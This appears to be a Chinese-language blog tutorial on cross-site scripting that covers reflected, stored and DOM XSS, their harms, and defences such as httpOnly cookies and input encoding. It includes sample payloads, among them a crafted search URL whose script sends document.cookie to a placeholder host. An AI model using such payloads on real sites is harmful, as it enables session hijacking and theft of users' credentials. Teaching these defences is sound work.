XSS攻擊及防範

XSS是什麼

XSS中文名爲跨站腳本, 是發生在目標用戶的瀏覽器層面上的,當渲染DOM樹的過程成發生了不在預期內執行的JS代碼時,就發生了XSS攻擊。大多數XSS攻擊的主要方式是嵌入一段遠程或者第三方域上的JS代碼。實際上是在目標網站的作用域下執行了這段js代碼。

XSS攻擊類型

  • XSS反射型攻擊
    反射型XSS,也叫非持久型XSS,是指發生請求時,XSS代碼出現在請求URL中,作爲參數提交到服務器,服務器解析並響應。響應結果中包含XSS代碼,最後瀏覽器解析並執行。
    例子
  1. 假如在一個頁面的搜索框,填入“<script>alert(document.cookie)</script>”點擊搜索。
  2. 但是前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 通過alert獲取到了個人的cookie信息。
    3.同時可以構造獲取用戶cookies的地址,通過QQ羣或者垃圾郵件,來讓其他人點擊這個地址獲取到其他人的cookie:
http://xxx/search?keyword=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

當別人一點擊這個鏈接就會被獲取到其cookie。如果是黑客的話,他們會注入一段第三方的js代碼,然後將獲取到的cookie信息存到他們的服務器上。這樣的話黑客們就有機會拿到我們的身份認證做一些違法的事情了。

  • 存儲型 XSS
    存儲型XSS,也叫持久型XSS,主要是將XSS代碼發送到服務器(不管是數據庫、內存還是文件系統等。),然後在下次請求頁面的時候就不用帶上XSS代碼了,而是從服務器讀取。
    存儲型XSS是通過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每個訪問該帖子/文章的人就會觸發執行。
    例子
  1. 發一篇文章,裏面包含了惡意腳本
    咱們裸熊真好看!<script>alert('handsome boy')</script>
    
  2. 後端沒有對文章進行過濾,直接保存文章內容到數據庫。
  3. 當其他看這篇文章的時候,包含的惡意腳本就會執行。
  • DOM XSS
    DOM XSS代碼不需要服務器端的解析響應的直接參與,而是通過瀏覽器端的DOM解析。DOM XSS代碼的攻擊發生的可能在於我們編寫JS代碼造成的。我們知道eval語句有一個作用是將一段字符串轉換爲真正的JS語句,因此在JS中使用eval是很危險的事情,容易造成XSS攻擊。避免使用eval語句。
    test.addEventListener('click', function () {
      var node = window.eval(txt.value)
      window.alert(node)
    }, false)
    
    txt中的代碼如下
    <img src='null' onerror='alert(123)' />
    

XSS危害

  1. 通過document.cookie盜取cookie
  2. 使用js或css破壞頁面正常的結構與樣式
  3. 流量劫持(通過訪問某段具有window.location.href定位到其他頁面)
  4. Dos攻擊:利用合理的客戶端請求來佔用過多的服務器資源,從而使合法用戶無法得到服務器響應。
  5. 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊)用戶的身份執行一些管理動作,或執行一些一般的如發微博、加好友、發私信等操作。
  6. 利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。

XSS防範

  • 對cookie的保護
    對重要的cookie設置httpOnly, 防止客戶端通過document.cookie讀取cookie。服務端可以設置此字段。
  • 對用戶輸入數據的處理
  1. 編碼:不能對用戶輸入的內容都保持原樣,對用戶輸入的數據進行字符實體編碼。對於字符實體的概念可以參考文章底部給出的參考鏈接。
  2. 解碼:原樣顯示內容的時候必須解碼,不然顯示不到內容了。
  3. 過濾:當服務端不校驗時候,前端要以各種方式過濾裏面可能的惡意腳本,例如script標籤,將特殊字符轉換成HTML編碼。把輸入的一些不合法的東西都過濾掉,從而保證安全性。如移除用戶上傳的DOM屬性,如onerror,移除用戶上傳的Style節點,iframe, script節點等。

參考:

  1. https://www.cnblogs.com/unclekeith/p/7750681.html
  2. https://www.cnblogs.com/lovesong/p/5199623.html
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章